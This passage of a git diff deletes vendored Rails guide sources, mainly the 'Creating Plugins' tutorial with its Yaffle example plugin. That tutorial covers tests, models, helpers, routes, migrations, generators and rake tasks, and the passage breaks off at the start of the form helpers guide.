'vendor/plugins/yaffle/generators/yaffle_definition/USAGE'. - -For this plugin, update the USAGE file could look like this: - ------------------------------------------------------------------- -Description: - Adds a file with the definition of a Yaffle to the app's main directory ------------------------------------------------------------------- diff --git a/vendor/rails/railties/doc/guides/source/creating_plugins/helpers.txt b/vendor/rails/railties/doc/guides/source/creating_plugins/helpers.txt deleted file mode 100644 index fa4227be..00000000 --- a/vendor/rails/railties/doc/guides/source/creating_plugins/helpers.txt +++ /dev/null @@ -1,49 +0,0 @@ -== Helpers == - -This section describes how to add a helper named 'WoodpeckersHelper' to your plugin that will behave the same as a helper in your main app. This is very similar to adding a model and a controller. - -You can test your plugin's helper as you would test any other helper: - -*vendor/plugins/yaffle/test/woodpeckers_helper_test.rb* - -[source, ruby] ---------------------------------------------------------------- -require File.dirname(__FILE__) + '/test_helper.rb' -include WoodpeckersHelper - -class WoodpeckersHelperTest < Test::Unit::TestCase - def test_tweet - assert_equal "Tweet! Hello", tweet("Hello") - end -end ---------------------------------------------------------------- - -This is just a simple test to make sure the helper is being loaded correctly. After watching it fail with `rake`, you can make it pass like so: - -*vendor/plugins/yaffle/lib/yaffle.rb:* - -[source, ruby] ----------------------------------------------- -%w{ models controllers helpers }.each do |dir| - path = File.join(File.dirname(__FILE__), 'app', dir) - $LOAD_PATH << path - ActiveSupport::Dependencies.load_paths << path - ActiveSupport::Dependencies.load_once_paths.delete(path) -end ----------------------------------------------- - - -*vendor/plugins/yaffle/lib/app/helpers/woodpeckers_helper.rb:* - -[source, ruby] ----------------------------------------------- -module WoodpeckersHelper - - def tweet(text) - "Tweet! #{text}" - end - -end ----------------------------------------------- - -Now your test should be passing, and you should be able to use the Woodpeckers helper in your app. diff --git a/vendor/rails/railties/doc/guides/source/creating_plugins/index.txt b/vendor/rails/railties/doc/guides/source/creating_plugins/index.txt deleted file mode 100644 index 0607bc74..00000000 --- a/vendor/rails/railties/doc/guides/source/creating_plugins/index.txt +++ /dev/null @@ -1,60 +0,0 @@ -The Basics of Creating Rails Plugins -==================================== - -A Rails plugin is either an extension or a modification of the core framework. Plugins provide: - - * a way for developers to share bleeding-edge ideas without hurting the stable code base - * a segmented architecture so that units of code can be fixed or updated on their own release schedule - * an outlet for the core developers so that they don’t have to include every cool new feature under the sun - -After reading this guide you should be familiar with: - - * Creating a plugin from scratch - * Writing and running tests for the plugin - * Storing models, views, controllers, helpers and even other plugins in your plugins - * Writing generators - * Writing custom Rake tasks in your plugin - * Generating RDoc documentation for your plugin - * Avoiding common pitfalls with 'init.rb' - -This guide describes how to build a test-driven plugin that will: - - * Extend core ruby classes like Hash and String - * Add methods to ActiveRecord::Base in the tradition of the 'acts_as' plugins - * Add a view helper that can be used in erb templates - * Add a new generator that will generate a migration - * Add a custom generator command - * A custom route method that can be used in routes.rb - -For the purpose of this guide pretend for a moment that you are an avid bird watcher. Your favorite bird is the Yaffle, and you want to create a plugin that allows other developers to share in the Yaffle goodness. First, you need to get setup for development. - - -include::setup.txt[] - -include::tests.txt[] - -include::core_ext.txt[] - -include::acts_as_yaffle.txt[] - -include::models.txt[] - -include::controllers.txt[] - -include::helpers.txt[] - -include::routes.txt[] - -include::generators.txt[] - -include::generator_commands.txt[] - -include::migrations.txt[] - -include::tasks.txt[] - -include::gems.txt[] - -include::rdoc.txt[] - -include::appendix.txt[] diff --git a/vendor/rails/railties/doc/guides/source/creating_plugins/migrations.txt b/vendor/rails/railties/doc/guides/source/creating_plugins/migrations.txt deleted file mode 100644 index 2589169b..00000000 --- a/vendor/rails/railties/doc/guides/source/creating_plugins/migrations.txt +++ /dev/null @@ -1,194 +0,0 @@ -== Migrations == - -If your plugin requires changes to the app's database you will likely want to somehow add migrations. Rails does not include any built-in support for calling migrations from plugins, but you can still make it easy for developers to call migrations from plugins. - -If you have a very simple needs, like creating a table that will always have the same name and columns, then you can use a more simple solution, like creating a custom rake task or method. If your migration needs user input to supply table names or other options, you probably want to opt for generating a migration. - -Let's say you have the following migration in your plugin: - -*vendor/plugins/yaffle/lib/db/migrate/20081116181115_create_birdhouses.rb:* - -[source, ruby] ----------------------------------------------- -class CreateBirdhouses < ActiveRecord::Migration - def self.up - create_table :birdhouses, :force => true do |t| - t.string :name - t.timestamps - end - end - - def self.down - drop_table :birdhouses - end -end ----------------------------------------------- - -Here are a few possibilities for how to allow developers to use your plugin migrations: - -=== Create a custom rake task === - -*vendor/plugins/yaffle/tasks/yaffle_tasks.rake:* - -[source, ruby] ----------------------------------------------- -namespace :db do - namespace :migrate do - desc "Migrate the database through scripts in vendor/plugins/yaffle/lib/db/migrate and update db/schema.rb by invoking db:schema:dump. Target specific version with VERSION=x. Turn off output with VERBOSE=false." - task :yaffle => :environment do - ActiveRecord::Migration.verbose = ENV["VERBOSE"] ? ENV["VERBOSE"] == "true" : true - ActiveRecord::Migrator.migrate("vendor/plugins/yaffle/lib/db/migrate/", ENV["VERSION"] ? ENV["VERSION"].to_i : nil) - Rake::Task["db:schema:dump"].invoke if ActiveRecord::Base.schema_format == :ruby - end - end -end ----------------------------------------------- - -=== Call migrations directly === - -*vendor/plugins/yaffle/lib/yaffle.rb:* - -[source, ruby] ----------------------------------------------- -Dir.glob(File.join(File.dirname(__FILE__), "db", "migrate", "*")).each do |file| - require file -end ----------------------------------------------- - -*db/migrate/20081116181115_create_birdhouses.rb:* - -[source, ruby] ----------------------------------------------- -class CreateBirdhouses < ActiveRecord::Migration - def self.up - Yaffle::CreateBirdhouses.up - end - - def self.down - Yaffle::CreateBirdhouses.down - end -end ----------------------------------------------- - -.Editor's note: -NOTE: several plugin frameworks such as Desert and Engines provide more advanced plugin functionality. - -=== Generate migrations === - -Generating migrations has several advantages over other methods. Namely, you can allow other developers to more easily customize the migration. The flow looks like this: - - * call your script/generate script and pass in whatever options they need - * examine the generated migration, adding/removing columns or other options as necessary - -This example will demonstrate how to use one of the built-in generator methods named 'migration_template' to create a migration file. Extending the rails migration generator requires a somewhat intimate knowledge of the migration generator internals, so it's best to write a test first: - -*vendor/plugins/yaffle/test/yaffle_migration_generator_test.rb* - -[source, ruby] ------------------------------------------------------------------- -require File.dirname(__FILE__) + '/test_helper.rb' -require 'rails_generator' -require 'rails_generator/scripts/generate' - -class MigrationGeneratorTest < Test::Unit::TestCase - - def setup - FileUtils.mkdir_p(fake_rails_root) - @original_files = file_list - end - - def teardown - ActiveRecord::Base.pluralize_table_names = true - FileUtils.rm_r(fake_rails_root) - end - - def test_generates_correct_file_name - Rails::Generator::Scripts::Generate.new.run(["yaffle_migration", "some_name_nobody_is_likely_to_ever_use_in_a_real_migration"], :destination => fake_rails_root) - new_file = (file_list - @original_files).first - assert_match /add_yaffle_fields_to_some_name_nobody_is_likely_to_ever_use_in_a_real_migrations/, new_file - assert_match /add_column :some_name_nobody_is_likely_to_ever_use_in_a_real_migrations do |t|/, File.read(new_file) - end - - def test_pluralizes_properly - ActiveRecord::Base.pluralize_table_names = false - Rails::Generator::Scripts::Generate.new.run(["yaffle_migration", "some_name_nobody_is_likely_to_ever_use_in_a_real_migration"], :destination => fake_rails_root) - new_file = (file_list - @original_files).first - assert_match /add_yaffle_fields_to_some_name_nobody_is_likely_to_ever_use_in_a_real_migration/, new_file - assert_match /add_column :some_name_nobody_is_likely_to_ever_use_in_a_real_migration do |t|/, File.read(new_file) - end - - private - def fake_rails_root - File.join(File.dirname(__FILE__), 'rails_root') - end - - def file_list - Dir.glob(File.join(fake_rails_root, "db", "migrate", "*")) - end - -end ------------------------------------------------------------------- - -.Editor's note: -NOTE: the migration generator checks to see if a migation already exists, and it's hard-coded to check the 'db/migrate' directory. As a result, if your test tries to generate a migration that already exists in the app, it will fail. The easy workaround is to make sure that the name you generate in your test is very unlikely to actually appear in the app. - -After running the test with 'rake' you can make it pass with: - -*vendor/plugins/yaffle/generators/yaffle_migration/yaffle_migration_generator.rb* - -[source, ruby] ------------------------------------------------------------------- -class YaffleMigrationGenerator < Rails::Generator::NamedBase - def manifest - record do |m| - m.migration_template 'migration:migration.rb', "db/migrate", {:assigns => yaffle_local_assigns, - :migration_file_name => "add_yaffle_fields_to_#{custom_file_name}" - } - end - end - - private - def custom_file_name - custom_name = class_name.underscore.downcase - custom_name = custom_name.pluralize if ActiveRecord::Base.pluralize_table_names - custom_name - end - - def yaffle_local_assigns - returning(assigns = {}) do - assigns[:migration_action] = "add" - assigns[:class_name] = "add_yaffle_fields_to_#{custom_file_name}" - assigns[:table_name] = custom_file_name - assigns[:attributes] = [Rails::Generator::GeneratedAttribute.new("last_squawk", "string")] - end - end -end ------------------------------------------------------------------- - -The generator creates a new file in 'db/migrate' with a timestamp and an 'add_column' statement. It reuses the built in rails `migration_template` method, and reuses the built-in rails migration template. - -It's courteous to check to see if table names are being pluralized whenever you create a generator that needs to be aware of table names. This way people using your generator won't have to manually change the generated files if they've turned pluralization off. - -To run the generator, type the following at the command line: - ------------------------------------------------------------------- -./script/generate yaffle_migration bird ------------------------------------------------------------------- - -and you will see a new file: - -*db/migrate/20080529225649_add_yaffle_fields_to_birds.rb* - -[source, ruby] ------------------------------------------------------------------- -class AddYaffleFieldsToBirds < ActiveRecord::Migration - def self.up - add_column :birds, :last_squawk, :string - end - - def self.down - remove_column :birds, :last_squawk - end -end ------------------------------------------------------------------- - diff --git a/vendor/rails/railties/doc/guides/source/creating_plugins/models.txt b/vendor/rails/railties/doc/guides/source/creating_plugins/models.txt deleted file mode 100644 index 1498b8e2..00000000 --- a/vendor/rails/railties/doc/guides/source/creating_plugins/models.txt +++ /dev/null @@ -1,74 +0,0 @@ -== Models == - -This section describes how to add a model named 'Woodpecker' to your plugin that will behave the same as a model in your main app. When storing models, controllers, views and helpers in your plugin, it's customary to keep them in directories that match the rails directories. For this example, create a file structure like this: - ---------------------------------------------------------- -vendor/plugins/yaffle/ -|-- lib -| |-- app -| | |-- controllers -| | |-- helpers -| | |-- models -| | | `-- woodpecker.rb -| | `-- views -| |-- yaffle -| | |-- acts_as_yaffle.rb -| | |-- commands.rb -| | `-- core_ext.rb -| `-- yaffle.rb ---------------------------------------------------------- - -As always, start with a test: - -*vendor/plugins/yaffle/test/woodpecker_test.rb:* - -[source, ruby] ----------------------------------------------- -require File.dirname(__FILE__) + '/test_helper.rb' - -class WoodpeckerTest < Test::Unit::TestCase - load_schema - - def test_woodpecker - assert_kind_of Woodpecker, Woodpecker.new - end -end ----------------------------------------------- - -This is just a simple test to make sure the class is being loaded correctly. After watching it fail with `rake`, you can make it pass like so: - -*vendor/plugins/yaffle/lib/yaffle.rb:* - -[source, ruby] ----------------------------------------------- -%w{ models }.each do |dir| - path = File.join(File.dirname(__FILE__), 'app', dir) - $LOAD_PATH << path - ActiveSupport::Dependencies.load_paths << path - ActiveSupport::Dependencies.load_once_paths.delete(path) -end ----------------------------------------------- - -Adding directories to the load path makes them appear just like files in the the main app directory - except that they are only loaded once, so you have to restart the web server to see the changes in the browser. Removing directories from the 'load_once_paths' allow those changes to picked up as soon as you save the file - without having to restart the web server. This is particularly useful as you develop the plugin. - - -*vendor/plugins/yaffle/lib/app/models/woodpecker.rb:* - -[source, ruby] ----------------------------------------------- -class Woodpecker < ActiveRecord::Base -end ----------------------------------------------- - -Finally, add the following to your plugin's 'schema.rb': - -*vendor/plugins/yaffle/test/schema.rb:* - -[source, ruby] ----------------------------------------------- -create_table :woodpeckers, :force => true do |t| - t.string :name -end ----------------------------------------------- - -Now your test should be passing, and you should be able to use the Woodpecker model from within your rails app, and any changes made to it are reflected immediately when running in development mode. diff --git a/vendor/rails/railties/doc/guides/source/creating_plugins/rdoc.txt b/vendor/rails/railties/doc/guides/source/creating_plugins/rdoc.txt deleted file mode 100644 index 0f6f843c..00000000 --- a/vendor/rails/railties/doc/guides/source/creating_plugins/rdoc.txt +++ /dev/null @@ -1,18 +0,0 @@ -== RDoc Documentation == - -Once your plugin is stable and you are ready to deploy do everyone else a favor and document it! Luckily, writing documentation for your plugin is easy. - -The first step is to update the README file with detailed information about how to use your plugin. A few key things to include are: - - * Your name - * How to install - * How to add the functionality to the app (several examples of common use cases) - * Warning, gotchas or tips that might help save users time - -Once your README is solid, go through and add rdoc comments to all of the methods that developers will use. It's also customary to add '#:nodoc:' comments to those parts of the code that are not part of the public api. - -Once your comments are good to go, navigate to your plugin directory and run: - ---------------------------------------------------------- -rake rdoc ---------------------------------------------------------- diff --git a/vendor/rails/railties/doc/guides/source/creating_plugins/routes.txt b/vendor/rails/railties/doc/guides/source/creating_plugins/routes.txt deleted file mode 100644 index dc1bf09f..00000000 --- a/vendor/rails/railties/doc/guides/source/creating_plugins/routes.txt +++ /dev/null @@ -1,69 +0,0 @@ -== Routes == - -In a standard 'routes.rb' file you use routes like 'map.connect' or 'map.resources'. You can add your own custom routes from a plugin. This section will describe how to add a custom method called that can be called with 'map.yaffles'. - -Testing routes from plugins is slightly different from testing routes in a standard rails app. To begin, add a test like this: - -*vendor/plugins/yaffle/test/routing_test.rb* - -[source, ruby] --------------------------------------------------------- -require "#{File.dirname(__FILE__)}/test_helper" - -class RoutingTest < Test::Unit::TestCase - - def setup - ActionController::Routing::Routes.draw do |map| - map.yaffles - end - end - - def test_yaffles_route - assert_recognition :get, "/yaffles", :controller => "yaffles_controller", :action => "index" - end - - private - - def assert_recognition(method, path, options) - result = ActionController::Routing::Routes.recognize_path(path, :method => method) - assert_equal options, result - end -end --------------------------------------------------------- - -Once you see the tests fail by running 'rake', you can make them pass with: - -*vendor/plugins/yaffle/lib/yaffle.rb* - -[source, ruby] --------------------------------------------------------- -require "yaffle/routing" --------------------------------------------------------- - -*vendor/plugins/yaffle/lib/yaffle/routing.rb* - -[source, ruby] --------------------------------------------------------- -module Yaffle #:nodoc: - module Routing #:nodoc: - module MapperExtensions - def yaffles - @set.add_route("/yaffles", {:controller => "yaffles_controller", :action => "index"}) - end - end - end -end - -ActionController::Routing::RouteSet::Mapper.send :include, Yaffle::Routing::MapperExtensions --------------------------------------------------------- - -*config/routes.rb* - -[source, ruby] --------------------------------------------------------- -ActionController::Routing::Routes.draw do |map| - map.yaffles -end --------------------------------------------------------- - -You can also see if your routes work by running `rake routes` from your app directory. diff --git a/vendor/rails/railties/doc/guides/source/creating_plugins/setup.txt b/vendor/rails/railties/doc/guides/source/creating_plugins/setup.txt deleted file mode 100644 index cd4b6ecb..00000000 --- a/vendor/rails/railties/doc/guides/source/creating_plugins/setup.txt +++ /dev/null @@ -1,84 +0,0 @@ -== Setup == - -=== Create the basic app === - -The examples in this guide require that you have a working rails application. To create a simple rails app execute: - ------------------------------------------------- -gem install rails -rails yaffle_guide -cd yaffle_guide -script/generate scaffold bird name:string -rake db:migrate -script/server ------------------------------------------------- - -Then navigate to http://localhost:3000/birds. Make sure you have a functioning rails app before continuing. - -.Editor's note: -NOTE: The aforementioned instructions will work for sqlite3. For more detailed instructions on how to create a rails app for other databases see the API docs. - - -=== Generate the plugin skeleton === - -Rails ships with a plugin generator which creates a basic plugin skeleton. Pass the plugin name, either 'CamelCased' or 'under_scored', as an argument. Pass `\--with-generator` to add an example generator also. - -This creates a plugin in 'vendor/plugins' including an 'init.rb' and 'README' as well as standard 'lib', 'task', and 'test' directories. - -Examples: ----------------------------------------------- -./script/generate plugin yaffle -./script/generate plugin yaffle --with-generator ----------------------------------------------- - -To get more detailed help on the plugin generator, type `./script/generate plugin`. - -Later on this guide will describe how to work with generators, so go ahead and generate your plugin with the `\--with-generator` option now: - ----------------------------------------------- -./script/generate plugin yaffle --with-generator ----------------------------------------------- - -You should see the following output: - ----------------------------------------------- -create vendor/plugins/yaffle/lib -create vendor/plugins/yaffle/tasks -create vendor/plugins/yaffle/test -create vendor/plugins/yaffle/README -create vendor/plugins/yaffle/MIT-LICENSE -create vendor/plugins/yaffle/Rakefile -create vendor/plugins/yaffle/init.rb -create vendor/plugins/yaffle/install.rb -create vendor/plugins/yaffle/uninstall.rb -create vendor/plugins/yaffle/lib/yaffle.rb -create vendor/plugins/yaffle/tasks/yaffle_tasks.rake -create vendor/plugins/yaffle/test/core_ext_test.rb -create vendor/plugins/yaffle/generators -create vendor/plugins/yaffle/generators/yaffle -create vendor/plugins/yaffle/generators/yaffle/templates -create vendor/plugins/yaffle/generators/yaffle/yaffle_generator.rb -create vendor/plugins/yaffle/generators/yaffle/USAGE ----------------------------------------------- - -=== Organize your files === - -To make it easy to organize your files and to make the plugin more compatible with GemPlugins, start out by altering your file system to look like this: - --------------------------------------------------------- -|-- lib -| |-- yaffle -| `-- yaffle.rb -`-- rails - | - `-- init.rb --------------------------------------------------------- - -*vendor/plugins/yaffle/rails/init.rb* - -[source, ruby] --------------------------------------------------------- -require 'yaffle' --------------------------------------------------------- - -Now you can add any 'require' statements to 'lib/yaffle.rb' and keep 'init.rb' clean. \ No newline at end of file diff --git a/vendor/rails/railties/doc/guides/source/creating_plugins/tasks.txt b/vendor/rails/railties/doc/guides/source/creating_plugins/tasks.txt deleted file mode 100644 index edaffec1..00000000 --- a/vendor/rails/railties/doc/guides/source/creating_plugins/tasks.txt +++ /dev/null @@ -1,27 +0,0 @@ -== Rake tasks == - -When you created the plugin with the built-in rails generator, it generated a rake file for you in 'vendor/plugins/yaffle/tasks/yaffle_tasks.rake'. Any rake task you add here will be available to the app. - -Many plugin authors put all of their rake tasks into a common namespace that is the same as the plugin, like so: - -*vendor/plugins/yaffle/tasks/yaffle_tasks.rake* - -[source, ruby] ---------------------------------------------------------- -namespace :yaffle do - desc "Prints out the word 'Yaffle'" - task :squawk => :environment do - puts "squawk!" - end -end ---------------------------------------------------------- - -When you run `rake -T` from your plugin you will see: - ---------------------------------------------------------- -yaffle:squawk # Prints out the word 'Yaffle' ---------------------------------------------------------- - -You can add as many files as you want in the tasks directory, and if they end in .rake Rails will pick them up. - -Note that tasks from 'vendor/plugins/yaffle/Rakefile' are not available to the main app. \ No newline at end of file diff --git a/vendor/rails/railties/doc/guides/source/creating_plugins/test_setup.txt b/vendor/rails/railties/doc/guides/source/creating_plugins/test_setup.txt deleted file mode 100644 index 9ee98c99..00000000 --- a/vendor/rails/railties/doc/guides/source/creating_plugins/test_setup.txt +++ /dev/null @@ -1,227 +0,0 @@ -== Preparation == - -=== Create the basic app === - -The examples in this guide require that you have a working rails application. To create a simple rails app execute: - ------------------------------------------------- -gem install rails -rails yaffle_guide -cd yaffle_guide -script/generate scaffold bird name:string -rake db:migrate -script/server ------------------------------------------------- - -Then navigate to http://localhost:3000/birds. Make sure you have a functioning rails app before continuing. - -.Editor's note: -NOTE: The aforementioned instructions will work for sqlite3. For more detailed instructions on how to create a rails app for other databases see the API docs. - - -=== Generate the plugin skeleton === - -Rails ships with a plugin generator which creates a basic plugin skeleton. Pass the plugin name, either 'CamelCased' or 'under_scored', as an argument. Pass `\--with-generator` to add an example generator also. - -This creates a plugin in 'vendor/plugins' including an 'init.rb' and 'README' as well as standard 'lib', 'task', and 'test' directories. - -Examples: ----------------------------------------------- -./script/generate plugin yaffle -./script/generate plugin yaffle --with-generator ----------------------------------------------- - -To get more detailed help on the plugin generator, type `./script/generate plugin`. - -Later on this guide will describe how to work with generators, so go ahead and generate your plugin with the `\--with-generator` option now: - ----------------------------------------------- -./script/generate plugin yaffle --with-generator ----------------------------------------------- - -You should see the following output: - ----------------------------------------------- -create vendor/plugins/yaffle/lib -create vendor/plugins/yaffle/tasks -create vendor/plugins/yaffle/test -create vendor/plugins/yaffle/README -create vendor/plugins/yaffle/MIT-LICENSE -create vendor/plugins/yaffle/Rakefile -create vendor/plugins/yaffle/init.rb -create vendor/plugins/yaffle/install.rb -create vendor/plugins/yaffle/uninstall.rb -create vendor/plugins/yaffle/lib/yaffle.rb -create vendor/plugins/yaffle/tasks/yaffle_tasks.rake -create vendor/plugins/yaffle/test/core_ext_test.rb -create vendor/plugins/yaffle/generators -create vendor/plugins/yaffle/generators/yaffle -create vendor/plugins/yaffle/generators/yaffle/templates -create vendor/plugins/yaffle/generators/yaffle/yaffle_generator.rb -create vendor/plugins/yaffle/generators/yaffle/USAGE ----------------------------------------------- - -To begin just change one thing - move 'init.rb' to 'rails/init.rb'. - -=== Setup the plugin for testing === - -If your plugin interacts with a database, you'll need to setup a database connection. In this guide you will learn how to test your plugin against multiple different database adapters using Active Record. This guide will not cover how to use fixtures in plugin tests. - -To setup your plugin to allow for easy testing you'll need to add 3 files: - - * A 'database.yml' file with all of your connection strings - * A 'schema.rb' file with your table definitions - * A test helper method that sets up the database - -*vendor/plugins/yaffle/test/database.yml:* - ----------------------------------------------- -sqlite: - :adapter: sqlite - :dbfile: vendor/plugins/yaffle/test/yaffle_plugin.sqlite.db - -sqlite3: - :adapter: sqlite3 - :dbfile: vendor/plugins/yaffle/test/yaffle_plugin.sqlite3.db - -postgresql: - :adapter: postgresql - :username: postgres - :password: postgres - :database: yaffle_plugin_test - :min_messages: ERROR - -mysql: - :adapter: mysql - :host: localhost - :username: root - :password: password - :database: yaffle_plugin_test ----------------------------------------------- - -For this guide you'll need 2 tables/models, Hickwalls and Wickwalls, so add the following: - -*vendor/plugins/yaffle/test/schema.rb:* - -[source, ruby] ----------------------------------------------- -ActiveRecord::Schema.define(:version => 0) do - create_table :hickwalls, :force => true do |t| - t.string :name - t.string :last_squawk - t.datetime :last_squawked_at - end - create_table :wickwalls, :force => true do |t| - t.string :name - t.string :last_tweet - t.datetime :last_tweeted_at - end -end ----------------------------------------------- - -*vendor/plugins/yaffle/test/test_helper.rb:* - -[source, ruby] ----------------------------------------------- -ENV['RAILS_ENV'] = 'test' -ENV['RAILS_ROOT'] ||= File.dirname(__FILE__) + '/../../../..' - -require 'test/unit' -require File.expand_path(File.join(ENV['RAILS_ROOT'], 'config/environment.rb')) - -def load_schema - config = YAML::load(IO.read(File.dirname(__FILE__) + '/database.yml')) - ActiveRecord::Base.logger = Logger.new(File.dirname(__FILE__) + "/debug.log") - - db_adapter = ENV['DB'] - - # no db passed, try one of these fine config-free DBs before bombing. - db_adapter ||= - begin - require 'rubygems' - require 'sqlite' - 'sqlite' - rescue MissingSourceFile - begin - require 'sqlite3' - 'sqlite3' - rescue MissingSourceFile - end - end - - if db_adapter.nil? - raise "No DB Adapter selected. Pass the DB= option to pick one, or install Sqlite or Sqlite3." - end - - ActiveRecord::Base.establish_connection(config[db_adapter]) - load(File.dirname(__FILE__) + "/schema.rb") - require File.dirname(__FILE__) + '/../rails/init.rb' -end ----------------------------------------------- - -Now whenever you write a test that requires the database, you can call 'load_schema'. - -=== Run the plugin tests === - -Once you have these files in place, you can write your first test to ensure that your plugin-testing setup is correct. By default rails generates a file in 'vendor/plugins/yaffle/test/yaffle_test.rb' with a sample test. Replace the contents of that file with: - -*vendor/plugins/yaffle/test/yaffle_test.rb:* - -[source, ruby] ----------------------------------------------- -require File.dirname(__FILE__) + '/test_helper.rb' - -class YaffleTest < Test::Unit::TestCase - load_schema - - class Hickwall < ActiveRecord::Base - end - - class Wickwall < ActiveRecord::Base - end - - def test_schema_has_loaded_correctly - assert_equal [], Hickwall.all - assert_equal [], Wickwall.all - end - -end ----------------------------------------------- - -To run this, go to the plugin directory and run `rake`: - ----------------------------------------------- -cd vendor/plugins/yaffle -rake ----------------------------------------------- - -You should see output like: - ----------------------------------------------- -/opt/local/bin/ruby -Ilib:lib "/opt/local/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake/rake_test_loader.rb" "test/yaffle_test.rb" --- create_table(:hickwalls, {:force=>true}) - -> 0.0220s --- create_table(:wickwalls, {:force=>true}) - -> 0.0077s --- initialize_schema_migrations_table() - -> 0.0007s --- assume_migrated_upto_version(0) - -> 0.0007s -Loaded suite /opt/local/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake/rake_test_loader -Started -. -Finished in 0.002236 seconds. - -1 test, 1 assertion, 0 failures, 0 errors ----------------------------------------------- - -By default the setup above runs your tests with sqlite or sqlite3. To run tests with one of the other connection strings specified in database.yml, pass the DB environment variable to rake: - ----------------------------------------------- -rake DB=sqlite -rake DB=sqlite3 -rake DB=mysql -rake DB=postgresql ----------------------------------------------- - -Now you are ready to test-drive your plugin! diff --git a/vendor/rails/railties/doc/guides/source/creating_plugins/tests.txt b/vendor/rails/railties/doc/guides/source/creating_plugins/tests.txt deleted file mode 100644 index 47611542..00000000 --- a/vendor/rails/railties/doc/guides/source/creating_plugins/tests.txt +++ /dev/null @@ -1,165 +0,0 @@ -== Tests == - -In this guide you will learn how to test your plugin against multiple different database adapters using Active Record. To setup your plugin to allow for easy testing you'll need to add 3 files: - - * A 'database.yml' file with all of your connection strings - * A 'schema.rb' file with your table definitions - * A test helper method that sets up the database - -=== Test Setup === - -*vendor/plugins/yaffle/test/database.yml:* - ----------------------------------------------- -sqlite: - :adapter: sqlite - :dbfile: vendor/plugins/yaffle/test/yaffle_plugin.sqlite.db - -sqlite3: - :adapter: sqlite3 - :dbfile: vendor/plugins/yaffle/test/yaffle_plugin.sqlite3.db - -postgresql: - :adapter: postgresql - :username: postgres - :password: postgres - :database: yaffle_plugin_test - :min_messages: ERROR - -mysql: - :adapter: mysql - :host: localhost - :username: root - :password: password - :database: yaffle_plugin_test ----------------------------------------------- - -For this guide you'll need 2 tables/models, Hickwalls and Wickwalls, so add the following: - -*vendor/plugins/yaffle/test/schema.rb:* - -[source, ruby] ----------------------------------------------- -ActiveRecord::Schema.define(:version => 0) do - create_table :hickwalls, :force => true do |t| - t.string :name - t.string :last_squawk - t.datetime :last_squawked_at - end - create_table :wickwalls, :force => true do |t| - t.string :name - t.string :last_tweet - t.datetime :last_tweeted_at - end - create_table :woodpeckers, :force => true do |t| - t.string :name - end -end ----------------------------------------------- - -*vendor/plugins/yaffle/test/test_helper.rb:* - -[source, ruby] ----------------------------------------------- -ENV['RAILS_ENV'] = 'test' -ENV['RAILS_ROOT'] ||= File.dirname(__FILE__) + '/../../../..' - -require 'test/unit' -require File.expand_path(File.join(ENV['RAILS_ROOT'], 'config/environment.rb')) - -def load_schema - config = YAML::load(IO.read(File.dirname(__FILE__) + '/database.yml')) - ActiveRecord::Base.logger = Logger.new(File.dirname(__FILE__) + "/debug.log") - - db_adapter = ENV['DB'] - - # no db passed, try one of these fine config-free DBs before bombing. - db_adapter ||= - begin - require 'rubygems' - require 'sqlite' - 'sqlite' - rescue MissingSourceFile - begin - require 'sqlite3' - 'sqlite3' - rescue MissingSourceFile - end - end - - if db_adapter.nil? - raise "No DB Adapter selected. Pass the DB= option to pick one, or install Sqlite or Sqlite3." - end - - ActiveRecord::Base.establish_connection(config[db_adapter]) - load(File.dirname(__FILE__) + "/schema.rb") - require File.dirname(__FILE__) + '/../rails/init.rb' -end ----------------------------------------------- - -Now whenever you write a test that requires the database, you can call 'load_schema'. - -=== Run the plugin tests === - -Once you have these files in place, you can write your first test to ensure that your plugin-testing setup is correct. By default rails generates a file in 'vendor/plugins/yaffle/test/yaffle_test.rb' with a sample test. Replace the contents of that file with: - -*vendor/plugins/yaffle/test/yaffle_test.rb:* - -[source, ruby] ----------------------------------------------- -require File.dirname(__FILE__) + '/test_helper.rb' - -class YaffleTest < Test::Unit::TestCase - load_schema - - class Hickwall < ActiveRecord::Base - end - - class Wickwall < ActiveRecord::Base - end - - def test_schema_has_loaded_correctly - assert_equal [], Hickwall.all - assert_equal [], Wickwall.all - end - -end ----------------------------------------------- - -To run this, go to the plugin directory and run `rake`: - ----------------------------------------------- -cd vendor/plugins/yaffle -rake ----------------------------------------------- - -You should see output like: - ----------------------------------------------- -/opt/local/bin/ruby -Ilib:lib "/opt/local/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake/rake_test_loader.rb" "test/yaffle_test.rb" --- create_table(:hickwalls, {:force=>true}) - -> 0.0220s --- create_table(:wickwalls, {:force=>true}) - -> 0.0077s --- initialize_schema_migrations_table() - -> 0.0007s --- assume_migrated_upto_version(0) - -> 0.0007s -Loaded suite /opt/local/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake/rake_test_loader -Started -. -Finished in 0.002236 seconds. - -1 test, 1 assertion, 0 failures, 0 errors ----------------------------------------------- - -By default the setup above runs your tests with sqlite or sqlite3. To run tests with one of the other connection strings specified in database.yml, pass the DB environment variable to rake: - ----------------------------------------------- -rake DB=sqlite -rake DB=sqlite3 -rake DB=mysql -rake DB=postgresql ----------------------------------------------- - -Now you are ready to test-drive your plugin! diff --git a/vendor/rails/railties/doc/guides/source/form_helpers.txt b/vendor/rails/railties/doc/guides/source/form_helpers.txt deleted file mode 100644 index e2afcf41..00000000 --- a/vendor/rails/railties/doc/guides/source/form_helpers.txt +++ /dev/null @@ -1,769 +0,0 @@ -Rails form helpers -================== - -Forms in web applications are an essential interface for user input. However, form markup can quickly become tedious to write and maintain because of form control naming and their numerous attributes. Rails deals away with these complexities by providing view helpers for generating form markup. However, since they have different use-cases, developers are required to know all the differences between similar helper methods before putting them to use. - -In this guide you will: - -* Create search forms and similar kind of generic forms not representing any specific model in your application -* Make model-centric forms for creation and editing of specific database records -* Generate select boxes from multiple types of data -* Understand the date and time helpers Rails provides -* Learn what makes a file upload form different -* Find out where to look for complex forms - -NOTE: This guide is not intended to be a complete documentation of available form helpers and their arguments. Please visit http://api.rubyonrails.org/[the Rails API documentation] for a complete reference. - - -Dealing With Basic Forms ------------------------- - -The most basic form helper is `form_tag`. - ----------------------------------------------------------------------------- -<% form_tag do %> - Form contents -<% end %> ----------------------------------------------------------------------------- - -When called without arguments like this, it creates a form element that has the current page as its action and "post" as its method (some line breaks added for readability): - -.Sample output from `form_tag` ----------------------------------------------------------------------------- -
-
- -
- Form contents -
